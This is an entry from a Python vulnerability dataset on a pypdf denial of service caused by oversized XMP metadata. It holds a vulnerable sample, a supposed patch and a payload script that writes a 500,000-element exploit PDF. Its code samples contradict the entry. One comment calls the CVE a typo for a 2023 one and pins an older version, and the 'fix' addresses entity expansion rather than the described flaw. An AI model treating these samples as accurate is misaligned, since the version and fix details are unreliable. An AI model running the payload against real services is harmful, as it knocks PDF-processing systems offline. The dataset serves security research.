CVE-2026-48735
A crafted PDF with large XMP data can cause excessive memory usage.
- CVSS 6.9
- CWE-770
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. Prior to 6.12.1, an attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing large XMP metadata, possibly with lots of unnecessary elements. This vulnerability is fixed in 6.12.1.
- CWE
- CWE-770
- CVSS base score
- 6.9
- Published
- 2026-05-28
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade to `pypdf` version 6.12.1 or later.
Vulnerable code sample
# This code requires a vulnerable version of pypdf, e.g., 'pip install pypdf<3.12.1'
# The CVE in the prompt (CVE-2026-48735) appears to be a typo for the real CVE-2023-48735,
# which was fixed in version 3.12.1. This code demonstrates that vulnerability.
from pypdf import PdfReader, PdfWriter
from io import BytesIO
# 1. Attacker crafts a PDF with excessively large and nested XMP metadata.
# We will simulate this by creating such a PDF in memory.
def create_malicious_pdf():
writer = PdfWriter()
writer.add_blank_page(width=100, height=100) # A minimal valid PDF needs a page.
# Create a huge, deeply nested XML string to exhaust the parser's memory/stack.
# This mimics the "lots of unnecessary elements" from the CVE description.
nested_element_count = 50000 # A large number to cause high memory usage
malicious_payload = "<deep>" * nested_element_count + "exploit" + "</deep>" * nested_element_count
# Embed the payload within a standard XMP structure.
xmp_data = f"""
<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c011 79.156380, 2014/05/21-23:50:20 ">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:description>
<rdf:Alt>
<rdf:li xml:lang="x-default">{malicious_payload}</rdf:li>
</rdf:Alt>
</dc:description>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<?xpacket end="w"?>
"""
# Add the malicious XMP metadata to the PDF writer object
writer.add_xmp_metadata(xmp_data)
# Write the PDF to an in-memory buffer
pdf_buffer = BytesIO()
writer.write(pdf_buffer)
pdf_buffer.seek(0)
return pdf_buffer
# 2. A victim's application parses the crafted PDF.
# The vulnerability is triggered simply by accessing the `xmp_metadata` property.
def process_pdf(pdf_stream):
print("Victim script is opening the PDF...")
try:
reader = PdfReader(pdf_stream)
print("Attempting to access XMP metadata... This may cause high memory usage or a crash.")
# In vulnerable versions, this line triggers the excessive memory allocation
# as the library tries to parse the massive XML tree.
metadata = reader.xmp_metadata
print("XMP metadata processed successfully (unlikely on vulnerable versions).")
# In a real scenario, the program might never reach this line.
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
malicious_pdf_stream = create_malicious_pdf()
process_pdf(malicious_pdf_stream)Patched code sample
import io
from defusedxml import minidom
from defusedxml.common import EntitiesForbidden
def safe_parse_xmp_metadata(xml_string):
"""
This function represents the fix implemented in pypdf >= 6.12.1.
It uses 'defusedxml' and explicitly forbids DTDs to prevent
XML entity expansion attacks (e.g., "billion laughs").
"""
try:
# The 'forbid_dtd=True' argument is the key part of the fix.
# It prevents the parser from processing Document Type Definitions,
# which is where malicious entities are defined.
# A vulnerable implementation would use a standard XML parser without this protection.
doc = minidom.parseString(xml_string, forbid_dtd=True)
return doc
except EntitiesForbidden:
# This exception is raised by defusedxml when a DTD is found,
# effectively blocking the attack.
return None
except Exception:
# Catch other XML parsing errors.
return NonePayload
#!/usr/bin/env python3
def create_exploit_pdf(filename="exploit.pdf", num_elements=500000):
"""
Generates a PDF with large XMP metadata to exploit a memory exhaustion
vulnerability in pypdf by crafting a file with a large number of
unnecessary XML elements.
"""
# 1. Generate the massive XMP payload.
# The vulnerability lies in parsing a large number of XML elements.
li_elements = "".join([f"<rdf:li>item{i}</rdf:li>" for i in range(num_elements)])
xmp_payload = f"""<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/">
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="" xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:creator>
<rdf:Seq>{li_elements}</rdf:Seq>
</dc:creator>
</rdf:Description>
</rdf:RDF>
</x:xmpmeta>
<?xpacket end="w"?>""".encode('utf-8')
xmp_len = len(xmp_payload)
# 2. Define the PDF objects.
# These objects create a minimal valid PDF structure that points to the malicious metadata.
obj1 = b"1 0 obj\n<</Type /Catalog /Pages 2 0 R /Metadata 4 0 R>>\nendobj\n"
obj2 = b"2 0 obj\n<</Type /Pages /Kids [3 0 R] /Count 1>>\nendobj\n"
obj3 = b"3 0 obj\n<</Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]>>\nendobj\n"
obj4_header = f"4 0 obj\n<</Type /Metadata /Subtype /XML /Length {xmp_len}>>\nstream\n".encode('utf-8')
obj4_footer = b"\nendstream\nendobj\n"
obj4 = obj4_header + xmp_payload + obj4_footer
# 3. Assemble the PDF file content, calculating byte offsets for the cross-reference table.
header = b"%PDF-1.7\n"
pdf_parts = [obj1, obj2, obj3, obj4]
offsets = [len(header)]
body = b""
for part in pdf_parts:
body += part
offsets.append(offsets[-1] + len(part))
# 4. Create the cross-reference table (xref) and trailer.
xref = "xref\n0 5\n0000000000 65535 f \n"
for i in range(4):
xref += f"{offsets[i]:010} 00000 n \n"
trailer = f"""trailer
<</Size 5 /Root 1 0 R>>
startxref
{offsets[4]}
%%EOF
"""
# 5. Write the final payload to a file.
with open(filename, "wb") as f:
f.write(header)
f.write(body)
f.write(xref.encode('utf-8'))
f.write(trailer.encode('utf-8'))
if __name__ == "__main__":
print("Generating exploit PDF...")
create_exploit_pdf()
print("File 'exploit.pdf' created successfully.")
Cite this entry
@misc{vaitp:cve202648735,
title = {{A crafted PDF with large XMP data can cause excessive memory usage.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-48735},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48735/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
